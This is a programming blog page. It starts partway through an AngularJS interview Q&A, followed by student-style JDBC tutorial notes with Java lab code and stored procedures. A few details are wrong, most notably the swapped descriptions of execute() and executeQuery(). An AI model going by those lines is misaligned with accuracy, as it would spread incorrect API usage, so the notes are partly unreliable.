Filters: In Angular unlike JavaScript, we can use filters to format data before displaying it


Q26) what are the advantages of using AngularJS ?

AngularJS has several advantages in web development.

AngularJS lets us extend HTML vocabulary for our application resulting in an expressive, readable, and quick to develop environment
It helps you to structure and test your JavaScript code.
It extends HTML using directives, expression and data binding techniques to define a powerful HTML template.
Supports two way data-binding
Supports MVC pattern
Supports routing supports, inbuilt services
Support static template and angular template
Can add custom directive
Supports REST full services
Supports form validations
Support both client and server communication
Support dependency injection
Applying Animations
Event Handlers
It supports both client server communication


Q27) What makes AngularJS better ?

Registering Callbacks: There is no need to register callbacks . This makes your code simple and easy to debug.
Control HTML DOM programmatically:  All the application that are created using Angular never have to manipulate the DOM although it can be done if it is required
Transfer data to and from the UI: AngularJS helps to eliminate almost all of the boiler plate like validating the form, displaying validation errors, returning to an internal model and so on which occurs due to flow of marshalling data
No initilization code: With AngularJS you can bootstrap your app easily using services, which auto-injected into your application in Guice like dependency injection style.


Q28) Is AngularJS compatible with all browsers?

Yes AngularJS is compatible with the following browsers: Safari, Chrome, Firefox, Opera 15, IE9 and mobile browsers (Android, Chrome Mobile, iOS Safari).

Q29) What are the steps for the compilation process of HTML happens?

Compilation of HTML process occurs in following ways

Using the standard browser API, first the HTML is parsed into DOM
By using the call to the $compile () method, compilation of the DOM is performed.  The method traverses the DOM and matches the directives.
Link the template with scope by calling the linking function returned from the previous step.

Q30) what is string interpolation in Angular.js ?

In Angular.js the compiler during the compilation process matches text and attributes using interpolate service to see if they contains embedded expressions.  As part of normal digest cycle these expressions are updated and registered as watches.

Q31) Different imp Questions based on programs.

a) Example of AngularJS Object?

<div ng-app="" ng-init="myobj={Str1:'Web',Str2:'Technology'}">
String Display: <b>{{ myobj.Str2 }}</b></div>

b) Example of AngularJS Strings?

<div ng-app="" ng-init="Str1='Web';Str2='Technology'">
Full String is : <b>{{ Str1 + " " + Str2 }}</b>
</div>

c) How to initiate variable in AngularJS?

<div ng-app="" ng-init="quantity=10;cost=5">
<b>Total Cost: {{ quantity * cost }}</b>
</div>
 OR
<div ng-app="" ng-init="quantity=1;cost=5">
<b>Total Cost: <span ng-bind="quantity * cost"></span></b>
</div>

d) How to Write Expression in AngularJS?

<div ng-app="">
<b>Expression: {{ 15 + 55 }}</b>
</div>

e) What is Looping in AngularJs and Give an Example?

It is used to display the data in loop same as foreach in PHP
Example:
<div data-ng-app="" data-ng-init="names=['Web','Technology','Experts','Notes']">
<b>Loop Example:</b>
  <br />
<ul>
<li data-ng-repeat="x in names">
      {{ x }}
    </li>
</ul>
</div>

f) Give an Example of Data-Binding in AngularJS?

<div ng-app="" ng-init="quantity=10;cost=5">
<b>Total Cost: {{ quantity * cost }}</b>
</div>

g) 

Tuesday, 27 August 2019

Notes on JDBC : Trying to understand with codes

 ------
| JDBC |     Java Database Connectivity
 ------

-> To make a java application as database independent,sun has provided JDBC API as Technology.


Technology
----------

The specification (high level API) is provided by SUN (Java vendor)

example --> JDBC, Servlet, JSP, EJB  etc.


Framework
---------

The specification (high level API) is provided by third party vendor

example --> struts, hibernate, spring  etc.


API Document
------------

    1.  It understands for Application programming interface.

    2.  This document is very helpful for the user to understand how to use the software or              Technology. 

    3.  it is generated from the .java file or program which is similar like helping file where          all the features are available with thier descriptions of a software or product.   

                        javadoc fileName.java

---------------------------------------------------------------------------------------

                     
---------------- Draw the Diagram -- pic01.jpg -------------------


If you are developing the application using any UI and you want to store the data in the DB then JDBC will be used

UI      -- for (static or dynamic) display

storage -- for dynamic content(display),so for that we need storage.
           and for storage,we take help from either DB or FILE.


----------------------------------------------------------------------

JDBC API ( Application programming interface )
**********************************************

In java.sql package SUN has provided interfaces and classes that will be used to interact the java application with DataBase.

These methods are throwing java.sql.SQLException (checked exception)

The JDBC specification has implemented by various vendors
SUN (java vendor)
Many DB vendor



Architecture:- pic0.jpg
-----------------------

Here only concrete class is DriverManager. The rest of the core API is a set of interfaces.

DriverManager is used to load a JDBC Driver.

A Driver is a software vendor's implementation of the JDBC API. After a driver is loaded,

DriverManager is used to get a Connection.

DatabaseMetaData interface provides detailed information about the database as a whole. The Connection object is used for creating DatabaseMetaData objects.

A Connection is used to create a Statement, or to create and prepare a PreparedStatement or
CallableStatement.

A Connection object represents a connection with a database.

A connection session includes the SQL statements that are executed and the results that are returned over that connection.

A single application can have one or more connections with a single database, or it can have connections with many different databases.

Statement and PreparedStatement objects are used to execute SQL statements.

Statement interface represents a static SQL statement. It can be used to retrieve ResultSet objects.

CallableStatement objects are used to execute stored procedures.

A Connection can also be used to get a DatabaseMetaData object describing a database's
functionality.

The results of executing a SQL statement using a Statement or PreparedStatement are
returned as a ResultSet.

A ResultSet can be used to get the actual returned data.

A ResultSetMetaData object that can  be queried to identify the types of data returned in the ResultSet.


-----------------------------
Steps to use JDBC application   (specially for type4)
-----------------------------

1. Loading the driver/registering the driver with JVM
         
      java.lang.Class.forName("driver");

Driver class  (Oracle)   oracle.jdbc.driver.OracleDriver
Driver class  (MySQL) com.mysql.jdbc.Driver

2. Creating  the connection with the java application and DB

              Connection con = DriverManager.getConnection("url","username","password");

        URL(Oracle) jdbc:oracle:thin:hostname:portno:servicename
        URL(MySQL) jdbc:mysql://hostname:portno/dbname

        Username DB username

        Password DB password

  Hostname localhost   or   127.0.0.1

  port number 3306 for mysql  or  1521 for oracle

  service name XE (for oracle only) where as  dbname only for mysql.

3. Prepare the sql statement (or) query
              String sql = "Data Manipulation Language";

4. Prepare the JDBC statement
              Statement st = con.createStatement();

5. Using JDBC statement submit the sql statement to DB
              int response = st.executeUpdate(sql);

6. Process the response

               if(response==1)
{
                   sop("record inserted");
                }
               else
{
                   sop("record not inserted");
                }
             
7. Close/release the resources (Connection, Statement, PreparedStatement, Resultset)

               finally
                {
                  try
                   {
                    st.close();
                    con.close();
                   }
                  catch(Exception e)
                    {
                       e.PrintStackTrace();
                    }
                 }
 

        -----------------------
J2SE Java JDBC3.0
JSE5 Java5 JDBC3.0
JSE6 Java6 JDBC4.0
JSE7 Java7 JDBC4.1
        -----------------------

Note:-
------
    1.  Step 1 and 7 are done automatically in java6 or JDBC4.0 onward.
    2. step 2 to 6 are used in each and every version.

==============================================================================

Type of JDBC Driver
*******************

Type of Driver         Name of Driver                              Short-Name
---------------  ---------------------                      ------------
Type I Driver         JDBC ODBC Bridge Driver            ------    "bridge"
Type II Driver         Partial Native and java Driver     ------    "native"
Type III Driver         Net Protocol Driver                ------    "middleware"
Type IV Driver         Pure Java Driver                   ------    "pure"

-------------------------------------------------------------------------------


• Database access is the same for all database vendors.

• JVM uses a JDBC driver to translate generalized JDBC calls into vendor specific database call.


-------------------------------------------------------------------------------

Type I Driver (JDBC ODBC Bridge Driver)
***************************************

It is a database driver implementation that employs the ODBC driver to connect to the DB, where

-> ODBC (Open Database Connectivity) uses DSN(Data Source Name).

-> ODBC requires some configuration or installation to identify the database.

-> ODBC is a middle level component provided by the microsoft.

JDBC methods call into ODBC functions call.


Name       --  JDBC ODBC Bridge Driver
Vendor       --  SUN
Driver class  --  Sun.jdbc.odbc.JdbcOdbcDriver      // sun provided this driver.
URL       --  Jdbc:odbc:<DSN>
Username      --  User Specific
password      --  User Specific
Path       --  Bin directory of JDK
classpath     --  Lib directory of JDK/JRE
Software      --  JDK,DB

Note:
-----

this datasource name (DSN) is the custom or user defined name.

package name --- sun.jdbc.odbc

class name   --- JdbcOdbcDriver


Architecture:- pic02.png
------------------------

Note:-
------

In Window 7 Type-I driver will be supported but for that you need to install ODBC driver if it is not Present.

Disadvantage of type-I driver  implementing by Microsoft using C language,so it is platform dependent i.e. when i'm goin to intract with linux, it fails.

Type1 driver requires installation/configuration on client machines.

it is not good for Web.

it is non-portable in nature.

it is not suitable for a high transaction environment.

DSN will be used only in type-I driver.

It is slower than any other driver used here.

This driver also dont have the complete java command set and are limited by the functionality of the ODBC driver(so it contains native code implementation).


Steps to Configure The DSN
**************************
Open control panel :-Administrative tools
Open data source(ODBC) tools
Click on ADD Button under user DSN
Select the driver name from the list (oracle in XE) & install
Click on finish.

Provide the following information or configuration

Data source name : any user specific name
Description      : Optional
TNS service name : XE(select from list)
User ID          : system (current name as a DB)  DB username

To test the connection click on test connection provided by password

Click on OK

Click on OK Button of configuration window and the of ODBC administrative window

***************************

Q1) what is the difference between user DSN and system DSN ?

ans-> user DSN configuration will be used by the current user,where as system DSN configuration       will be used by any user.

Q2) what is the purpose of DSN ?

ans->

Q3) what is the TNS service name ?

ans -> the location of the oracle database from which the odbc driver will retrieve data.

Q4) what is the url ?

ans -> to specify the type of driver and the database used.

Q5) what is Connection ?

ans-> A Connection represents a session with a specific database.
     
      • Within the context of a Connection, SQL statements are executed and results arereturned.
      • Can have multiple connections to a database.
      • Also provides “metadata” -- information about the database, tables, and fields.
      • Also methods to deal with transactions.

====================== JDBC Lab01 ==========================

package com.jdbc;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class Type1Check {
public static void main(String[] args)
{

Connection conn = null;
Statement stmt = null;

try
{
                Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
System.out.println("driver loaded");
    conn = DriverManager.getConnection("jdbc:odbc:MeraEveningDsn", "SYSTEM", "root");
System.out.println("Connection Established");

String sql = "insert into type1 values(78,'funky','Haldia')";
stmt = conn.createStatement();
int res = stmt.executeUpdate(sql);
System.out.println("upadte = "+res);

if(res == 1)
{
   System.out.println("Recorded Inserted");
}
else
{
System.out.println("Record Not inserted");
}
}
catch(ClassNotFoundException e)
{
System.out.println("Class Not Found");
}
catch(Exception e)
{
e.printStackTrace();
}

finally{
try{
stmt.close();
conn.close();
}
catch(Exception e)
{
e.printStackTrace();
   }}}}



Steps to Configure The DSN for MySQL
***********************************
Install ODBC driver using mysql-connector-odbc-5.1.11-win-32.msi
After selecting the Add button in ODBC configuration
Select the driver name the list (MySQL ODBC 5.1 Driver)
Click on finish
Providing the following information
Data Source name:-DB_NAME
TCP/IP:-local host
User:-root (username in db)
Password:(DB password)
Select the DB from list:-DB_NAME
Click the OK button of ODBC administrative window.


================================ JDBC Lab02 =================================

package com.jdbc;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class Type1Mysql
{
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
try{
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
System.out.println("driver loaded");
conn = DriverManager.getConnection("jdbc:odbc:MysqlDsn", "root", "root");
System.out.println("Connection Established");
String sql = "insert into type4 values(78,'funky','Haldia')";
stmt = conn.createStatement();
int res = stmt.executeUpdate(sql);
System.out.println("upadte = "+res);

if(res == 1)
{
System.out.println("Recorded Inserted");

}
else
{
System.out.println("Record Not inserted");
}
}
catch(ClassNotFoundException e)
{
System.out.println("Class Not Found");
}
catch(Exception e)
{
e.printStackTrace();
}

finally{
try{
stmt.close();
conn.close();
}
catch(Exception e)
{
e.printStackTrace();
}}}}



Type II Driver (Partial Native and java Driver)
***********************************************

 It is a database driver implementation that uses the client side libraries of the Database.

 This driver converts the JDBC method calls into native calls of the DataBase API.

 It has same architechture as Type1,only replacing ODBC driver by native calls.

 As there is no implementation of ODBC driver, so it is comparatively faster than type 1.

---------------------------------------------------------------------------
Name Partial Native and java Driver
Vendor DB vendor
Driver class oracle:jdbc.driver.OracleDriver
URL jdbc:oracle:oci8:@hostname:portno:servicename
Username DB username
password DB password
Path Bin directory of JDK
classpath Set the class path to
class111.jar(oracle 9i)
ojdbc14.jar(oracle 10g)
ojdbc6.jar(JDBC4.0)
S/W Oracle client-server edition(9i)

Architecture:- pic03.png
------------------------

OCI (oracle call interface)



Disadvantage
------------

  1) The vendor client library needs  to installed on the client machine.
  2) All DB has not provided this client side library.
  3) This driver is also platform dependent.
  4) This driver supports all java application excepts Applets.
  5) it is also not good for web.



Type III Driver (Net Protocol Driver)
*************************************

This driver is also known as the pure java driver for Database middleware, which is a    database driver implementation which makes use of a middle tier between the calling         program and the database.

This middletier(Application or web server) converts JDBC calls directly into the vendor   specific Database Protocol.

It differs actually from Type4 driver in the protocol conversion logic resides not at all   clients,but in the middleware tier only.


Like type4, type3 is also written entirely in java and platform independent.

------------------------------------------------------------------------ 

Name Net Protocol Driver   or   Middleware Driver
Vender IDS Software Vendor
Driver class com.ids.Driver
URL jdbc:ids://hostname/dbname
Username DB username
password DB password
Path Bin directory of JDK
classpath Set the class path to


Architecture:- pic04.png
------------------------

IDS (Internet Database Access Server) -- A dynamic server provider vendor.


Disadvantage
------------

 1) requires DB specific coding to be done in the middle tier.




Type IV Driver (Pure java Driver)
******************************

It is also known as the direct to database pure java driver.

it is a database driver implementation that converts jdbc calls directly into a vendor specific database protocol.

It is written completely in java and platform independent.

No translation or middleware layers are used,so improving performance than type3.
or
No translate the request into an intermediary form such as ODBC etc.

they install inside the jvm of the client,which provides better performance than the type1,2&3.

Here the client application is connected directly to the database server.


Here JVM can manage all aspects of the application to database connection.

--------------------------------------------------------------------
Name Pure java Driver
Vender DB vender

Driver class(Oracle) oracle.jdbc.driver.OracleDriver
Driver class(MySQL) com.MySQL.jdbcDriver

URL(Oracle) jdbc:oracle:thin:@hostname:portno:servicename  (oracle thin driver used)
URL(MySQL) jdbc:mysql://hostname:portno/dbname

Username DB username
password DB password

Path Bin directory of JDK

classpath(Oracle) class111.jar(oracle 9i)
                ojdbc14.jar(oracle 10g)
                ojdbc6.jar(JDBC4.0)

classpath(MySQL) mysql.jar

S/W SE or enterprise edition


       
mysql You can specify the url:-
-------------------------------

jdbc:mysql://localhost:3306/dbname
jdbc:mysql:///dbname     default port and localhost
jdbc:mysql:///?      default port and localhost and no DB select


Architecture:- Pic05.png
------------------------

Disadvantage
------------

 1) Drivers are db dependent.
Need to Download the driver “jar” file in a directory.

    • Set the path of the directory in the CLASSPATH environment variable.


Jar file
--------

 it is java archieve file format typically used to aggregate many java classes files and  associated metadata and resources(text,images and so on) into one file to distribute  application s/w   or  libraries on the java platform.

 it has .jar extension.


=====================  JDBC Lab03 =========================

package com.jdbc;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class Type4Mysql
{
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
try
{
Class.forName("com.mysql.jdbc.Driver");
System.out.println("Driver Loaded");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/myconnection","root","root");
System.out.println("Connection establish");

String sql = "insert into type4 values(80,'sanjay','gaya')";  // create the sql statement
stmt = conn.createStatement();   // create the jdbc statement

// for insert,update,delete -- you have to use --  public int executeUpdate(String sql)

int res = stmt.executeUpdate(sql);    // submit the query  (for modification type)
System.out.println("upadte = "+res);
// process the result
if(res == 1)
{
System.out.println("Recorded Inserted");

}
else
{
System.out.println("Record Not inserted");
}
}
catch(ClassNotFoundException e){
System.out.println("Class not found");
}
catch(Exception e){
e.printStackTrace();
}
finally{
try{
if(stmt!=null)
stmt.close();
if(conn!=null)
conn.close();
}
catch(Exception e)
{
  e.printStackTrace();
  }
}
  }
}

========================================================================================
========================================================================================
========================================================================================

JDBC Statement
--------------
All JDBC Statement interface available in java.sql package.

A Connection is actually used to create or prepare a Statement.

JDBC Statement object is used to execute a static SQL statement.

JDBC Statement object is used to retrieve ResultSet objects.

JDBC Statement objects are used to execute stored procedures.

There are actually three kinds of Statement objects, all of which act as containers for executing SQL statements on a given connection


3 Types of JDBC Statement
*************************

1. Statement
2. PreparedStatement
3. CallableStatement


A Connection is used to create a Statement, or to create and prepare a PreparedStatement or
CallableStatement.

Statement and PreparedStatement objects are used to execute SQL statements.

Statement interface represents a static SQL statement and used to retrieve ResultSet objects.

CallableStatement objects are used to execute stored procedures.



1)Statement:-
**********************************************************************************************

I)  Statement is a interface available in java.sql package

II) You can create the Statement using the following method of connection interface

public Statement createStatement()
public Statement createStatement(int rsType,int rsConcurrency)
public Statement createStatement(int rsType,int rsConcurrency,int rsHoldability)

             Creates a Statement object that will generate ResultSet objects with the given                   type, concurrency, and holdability.

             This method is the same as the createStatement method above, but it allows the                   default result set type, concurrency, and holdability to be overridden.

             -> resultSetType one of the following ResultSet constants:

ResultSet.TYPE_FORWARD_ONLY,
ResultSet.TYPE_SCROLL_INSENSITIVE
ResultSet.TYPE_SCROLL_SENSITIVE


     -> resultSetConcurrency one of the following ResultSet constants:

ResultSet.CONCUR_READ_ONLY
ResultSet.CONCUR_UPDATABLE


             -> resultSetHoldability one of the following ResultSet constants:

ResultSet.HOLD_CURSORS_OVER_COMMIT
ResultSet.CLOSE_CURSORS_AT_COMMIT


          Returns:
          ========

A new Statement object that will generate ResultSet objects with the                             given type, concurrency, and holdability

          Throws:
          =======

SQLException - if a database access error occurs, this method is called on a closed connection                or the given parameters are not ResultSet constants indicating type, concurrency,                and holdability.

SQLFeatureNotSupportedException - if the JDBC driver does not support this method or this method                                   is not supported for the specified result set type, result set                                   holdability and result set concurrency.Since:1.4



III) After creating the statement object, you can call one of the following method to submit the      sql statement the DB

public int executeUpdate(String sql)        ------   DML / DDL
public boolean execute(String sql)          ------   select only
public ResultSet executeQuery(String sql)   ------   Any type of query

IV) when you want to submit (insert or update or delete i.e. DML statement) SQL statement to use     the executeUpdate() method which return the number of record inserted or update or delete.

V)  when you want to submit (insert or update or delete or select)  SQL statement to use the         execute() method which return the boolean value saying whether the ResultSet object is           created or not (the sql statement is select or not)

        To get the resultset object with statement object
public ResultSet getResultSet()

To get the number of record affected with the statement object
public int getUpdateCount()

VI) When you want to submit select SQL Statements then use executeQuery() method which is return     the no of records fatched by select statement in term of ResultSet object

VII) Using single statement object you can submit any type of sql statement and any number of      sql statement (big difference between Statement and PreparedStatement).
ex:-
Statement st=con.createStatement()
String sql1="insert......";
String sql2="delete......";
String sql3="update......";
String sql4="select......";
boolean b1=st.execute(sql1);
int x=st.executeUpdate(sql2);
int y=st.executeUpdate(sql3);
ResultSet rs=st.executeQuery(sql4);

VIII) When you submit the sql stqtement using Statement object then sql Statement will be       compiled and executed every time.
Total time =request time + compile time + execute time + response time
5ms+5ms+5ms+5ms=20ms/slq Statement
If 100 time =100*20=2000ms

IX) If you are providing dynamic value for the query then you need to use concatenation     operator, formatter or StringBuffer etc to formate the query.

X)  If you are providing the value that format is DB depend(may be date) then you need to     provide dependly on DB.


Lab :- 3 example using Statement with SQL select statement
----------------------------------------------------------

create table cmstudents(id int primary key,name varchar(20),email varchar(30),phone                                 long,fee float,dob date);


-------------------  JDBC Lab04 ---------------------------------

package com.jdbcStatement;

import java.sql.Connection;
import java.sql.Date;
import java.sql.ResultSet;
import java.sql.Statement;

public class Lab04
{
@SuppressWarnings("deprecation")
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
ResultSet rs = null;
try
{
conn = JdbcUtil.getMysqlConnection();
String sql = "select * from cmstudents";
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);

if(rs.next())
{
do
{
int id = rs.getInt(1);
String nm = rs.getString(2);
String eml = rs.getString(3);
float fee = rs.getFloat(5);

long ph = rs.getLong(4);
Date dt = rs.getDate("dob");

//------ Configuring DOB -------

int d = dt.getDate();

int m = dt.getMonth()+1;

int y = dt.getYear()+1900;

String dob = d+ "-" +m+ "-" +y;

System.out.println(id+"   "+nm+"   "+eml+"   "+ph+"   "+fee+"   "+dob);
 
}while(rs.next());
 
}
else
{
System.out.println("--No Record Found--");
}
}
catch(Exception e)
{
e.printStackTrace();
}
finally
{
JdbcUtil.cleanUp(rs, stmt, conn);
}}}


JdbcUtil.java
-------------


package com.jdbcStatement;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class JdbcUtil
{
static Connection conn;

public static Connection getOracleConnection() throws SQLException
{
try
  {
Class.forName("oracle.jdbc.driver.OracleDriver");
System.out.println("Driver Loaded");
 conn = DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:XE", "SYSTEM", "root");
System.out.println("Connection Established");
  }
catch(Exception e)
{
e.printStackTrace();
}
return conn;
}

public static Connection getMysqlConnection() throws SQLException
{
try
  {
Class.forName("com.mysql.jdbc.Driver");
System.out.println("Driver Loaded");
 conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/myconnection","root","root");
System.out.println("Connection establish");
  }
catch(Exception e)
{
e.printStackTrace();
}
return conn;
}

public static void cleanUp(Statement stmt,Connection conn)
   {
   try
{
if(stmt!=null)
stmt.close();
if(conn!=null)
conn.close();
}
catch(Exception e)
{
e.printStackTrace();
}
   }

public static void cleanUp(ResultSet rs,Statement stmt,Connection conn)
{
try{
if(rs!=null)
rs.close();
if(stmt!=null)
stmt.close();
if(conn!=null)
conn.close();
}catch(Exception e)
{
e.printStackTrace();
}}}



/*

 table need for mysql (cmstudents) under myconnection database....

 create table cmstudents(id int primary key,name varchar(10),email varchar(20),phone long,fee float,dob date);

 table needs for oracle (cmstudents)

 create table cmstudents(id int primary key,name varchar(10),email varchar(20),phone number(10),fee float,dob date);


 */





2)Prepared Statement:-

************************************************************************************************
I)Prepare Statement is a interface available in java.sql package

II)You can create the Prepare Statement using the following method of connection interface
public PreparedStatement preparedStatement(sql)
public PreparedStatement preparedStatement(sql,int Scrollability,int Updatability)
public PreparedStatement preparedStatement(sql,int Scrollability,int Updatability,int Holdability)

III)After creating the Prepared statement object you can call me of the following method to submit the sql statement the DB
public int executeUpdate()
public boolean execute()
public ResultSet executeQuery()

IV)using the single prepared statememt object you can submit only sql statement
ex:-
String sql="insert......";
preparedStatement st=con.preparedStatement(sql)
int x=st.executeUpdate();

V) when you submit the sql statement using prepared Statement object the sql statement will be compiled only once first time and pre-compile sql statement will be executed every time.
Total time =request time + compile time +execute time + response time
1st time 5ms+5ms+5ms+5ms=20ms/slq Statement
2nd onward 5ms+0ms+5ms+5ms=15ms/slq Statement
If 101 time =1*20+100*15=1520ms

VI) prepared statement give you the place holder mechanism for providing the data dyanamic to the query you need to use ? symbol for place holder.

VII)To provided the value of place holder you need to invoke the following method depending of the value for place holder.

public void setInt(int paramindex, int value)
public void setShort(int paramindex, short value)
public void setLong(int paramindex, long value)
public void setByte(int paramindex, byte value)
public void setFloat(int paramindex, float value)
` public void setDouble(int paramindex, double value)
public void setChar(int paramindex, char value)
public void setString(int paramindex, String value)
public void setBoolean(int paramindex, boolean value)
public void setBlob(int paramindex, int value) ******

VIII)If you want to specify the date type value then create the object of java.sql.Date type and invoke the following method
public void setDate(int paramindex, Date value)

Lab4:-example using Prepared Statement object with sql insert statement
-----------------------------------------------------------------------

package com.jdbc.Pstatement;

import java.sql.Connection;
import java.sql.Date;
import java.sql.PreparedStatement;

public class Lab4
{
public static void main(String[] args)
{
if(args.length!=8)
{
System.out.println("Enter  values as CLA");
System.exit(0);
}
Connection conn = null;
PreparedStatement pstmt = null;
try
{
int id = Integer.parseInt(args[0]);
String name = args[1];
String email = args[2];
long phone = Long.parseLong(args[3]);
float fee = Float.parseFloat(args[4]);
int d = Integer.parseInt(args[5]);
int m = Integer.parseInt(args[6]);
int y = Integer.parseInt(args[7]);

java.sql.Date dob = new Date(y-1900, m-1, d);
conn = JdbcUtil.getMysqlConnection();

pstmt = conn.prepareStatement("insert into cmstudents values(?,?,?,?,?,?)");

pstmt.setInt(1, id);
pstmt.setString(2, name);
pstmt.setString(3, email);
pstmt.setLong(4, phone);
pstmt.setFloat(5, fee);
pstmt.setDate(6, dob);

int res = pstmt.executeUpdate();
if(res==1)
{
System.out.println("Record Inserted Successfully");
}
else{
System.out.println("Error during inserting");
}

}catch(Exception e)
{
e.printStackTrace();
}
finally{
JdbcUtil.cleanUp(pstmt, conn);
}}}




Lab5:-example using Prepared Statement object with sql select statement
-----------------------------------------------------------------------

package com.jdbc.Pstatement;

import java.sql.Connection;
import java.sql.Date;
import java.sql.PreparedStatement;
import java.sql.ResultSet;

public class Lab5
{
public static void main(String[] args)
{
Connection conn = null;
PreparedStatement pstmt = null;
ResultSet rs = null;

   try
   {
   conn = JdbcUtil.getMysqlConnection();
   String sql = "select * from cmstudents where id = ?";
   pstmt = conn.prepareStatement(sql);
   pstmt.setInt(1, Integer.parseInt(args[0]));
   rs = pstmt.executeQuery();
   while(rs.next())
   {
   int i = rs.getInt(1);
   String n = rs.getString(2);
   String e =rs.getString(3);
   long p = rs.getLong(4);
   float f = rs.getFloat(5);
   Date d = rs.getDate(6);
   System.out.println("-----------");
   System.out.print(i+"--"+n+"--"+e+"--"+p+"--"+f+"--"+d);
   }}
   catch(Exception e)
     {
    e.printStackTrace();
     }
finally
   {
      JdbcUtil.cleanUp(rs, pstmt, conn);
}}}






3)Callable Statement:-
************************************************************************************************
I)Callable Statement is a interface available in java.sql package

II)You can create the Collable Statement using the following method of connection interface

public CallableStatement prepareCall(String)
public CallableStatement prepareCall(String,int Scrollability,int Updatability)
public CallableStatement prepareCall(String,int Scrollability,int Updatability,int Holdability)

III)After creating the Collable statement object you can call one of the following method to submit the sql statement the DB
public int executeUpdate()
public boolean execute()
public ResultSet executeQuery()

IV)Callable Statement is designed mainly to invoke the stored procedure running in the DB

V) stored procedure is pre-compile procedure i.e. when you create the procedure then that       procedure will be compiled and store in DB memory .When you make call to the procedure then     that pre compile procedure will be executed directly.

VI)Using the single Callable Statement object you can make a call to only one store procedure
cs=con.prepareCall("call p1(?,?)");
cs.setInt(1,10);
cs.setInt(1,10);
int x =cs.executeUpdate();
VII)Use stored Pocedure when you want to run some logic in DB
    with store procedure using Callable Statement
Total time =request time + compile time +execute time(4 sql stmt) + response time
5ms+0ms+20ms+5ms=30ms/slq Statement
If 101 time =101*30=3030ms
with store procedure using prepare Statement
Total time =request time + compile time +execute time(4 sql stmt) + response time
1st time 4(5ms+5ms+5ms+5ms)=80ms/slq Statement
2nd onword 4(5ms+0ms+5ms+5ms)=60ms/slq Statement
If 101 time =1*80+100*60=6080ms

VIII) To provided the value of place holder mechanism


Lab6:- example using Callable Statement with IN parameter
---------------------------------------------------------

package com.jdbc.Cstatement;

import java.sql.CallableStatement;
import java.sql.Connection;
import java.sql.Date;
import java.sql.SQLException;

/*
       for lab 6 we create a procedure named as insertStudentInfo
       as we already create cmstudents tables in both oracle & mysql.
       (Pre-compiled (stored) procedures should must be there in DB).
 */

public class Lab6
{
public static void main(String[] args)
{
Connection conn = null;
CallableStatement cstmt = null;
if(args.length!=8)
{
System.out.println("Enter values through CLA");
System.exit(0);
}
try
{

int id = Integer.parseInt(args[0]);
String name = args[1];
String email = args[2];
long phone = Long.parseLong(args[3]);
float fee = Float.parseFloat(args[4]);
int d = Integer.parseInt(args[5]);
int m = Integer.parseInt(args[6]);
int y = Integer.parseInt(args[7]);

java.sql.Date dob = new Date(y-1900, m-1, d);

conn = JdbcUtil.getMysqlConnection();
        //String sql = "call insertStudentInfo(?,?,?,?,?,?)";
cstmt = conn.prepareCall("call insertStudentInfo(?,?,?,?,?,?)");

cstmt.setInt(1, id);
cstmt.setString(2, name);
cstmt.setString(3, email);
cstmt.setLong(4, phone);
cstmt.setFloat(5, fee);
cstmt.setDate(6, dob);

cstmt.execute();
System.out.println("Called Succesfully");

}
catch(SQLException e)
{
System.out.println("Error in calling Precompiled or Stored procedure (or) Go and check whether your procedure is stored or precompiled in your DB or not");
e.printStackTrace();
}
finally
{
JdbcUtil.cleanUp(cstmt, conn);
}}}



procedure for oracle:
---------------------

create or replace procedure insertstudentinfo(id number,name varchar2,email varchar2,phone long,fee float, dob date)
as
begin
insert into cmstudents values(id,name,email,phone,fee,dob);
end;
/

procedure for mysql:-
---------------------

delimiter $
create procedure insertstudentinfo(id int,name varchar(15),email varchar(25),phone long,fee float, dob date)
begin
insert into cmstudents values(id,name,email,phone,fee,dob);
end $
delimiter;

Lab7:- example using Callable Statement with IN or OUT parameter
-----------------------------------------------------------------------------------------
prcedure for oracle:-
create or replace procedure updatestudentinfo(id IN number,nm OUT varchar2,eml OUT varchar2,inc IN OUT number)
as
begin
update cmstudents set fee=fee+inc where sid=id;
select sname,email,fee into nm,eml,inc from cmstudents where sid=id;
end;
/

prcedure for mysql:-
delimiter $
create procedure updatestudentinfo(id int,OUT nm varchar(20),OUT eml varchar(40),INOUT inc int)
begin
update cmstudents set fee=fee+inc where sid=id;
select sname,email,fee into nm,eml,inc from cmstudents where sid=id;
end;
$



-------

package com.jdbc.Cstatement;

import java.sql.CallableStatement;
import java.sql.Connection;
import java.sql.Types;

public class Lab7
{
public static void main(String[] args)
{
if(args.length!=2)
{
System.out.println("Enter the values as CLA");
System.exit(0);
}
Connection conn = null;
CallableStatement cstmt = null;
try
{
int sid = Integer.parseInt(args[0]);
float inc = Float.parseFloat(args[1]);

conn = JdbcUtil.getMysqlConnection();

cstmt = conn.prepareCall("call updateStudentInfo(?,?,?,?)");

cstmt.setInt(1, sid);
cstmt.setFloat(4, inc);

cstmt.registerOutParameter(2, Types.VARCHAR);
cstmt.registerOutParameter(3, Types.VARCHAR);
cstmt.registerOutParameter(4, Types.FLOAT);

cstmt.execute();

String nm = cstmt.getString(2);
String eml = cstmt.getString(3);
float fee = cstmt.getFloat(4);

System.out.println(nm+"\t"+eml+"\t"+fee);

System.out.println("Called Successfully");


}catch(Exception e)
{
System.out.println("Error in calling procedure");
e.printStackTrace();
}finally
{
JdbcUtil.cleanUp(cstmt, conn);
}}}


/*   -------------------for mysql--------------------
 delimiter $
     create procedure updateStudentInfo(sid int,out nm varchar(10),out eml varchar(20),inout inc float)
     begin
       update cmstudents set fee=fee+inc where id = sid;
       select name,email,fee into nm,eml,inc from cmstudents where id = sid;
      end$
      delimiter ;
      ----------------------for Oracle--------------------
     
*/

-------------


Lab8:- example using Callable Statement with OUT parameter
--------------------------------------------------------------------------------
prcedure for oracle:-
create or replace procedure getallstudents(students OUT SYS_REFCURSOR)
as
begin
open students for select * from cmstudents;
end;
/

----------------------------------
package com.jdbc.Cstatement;

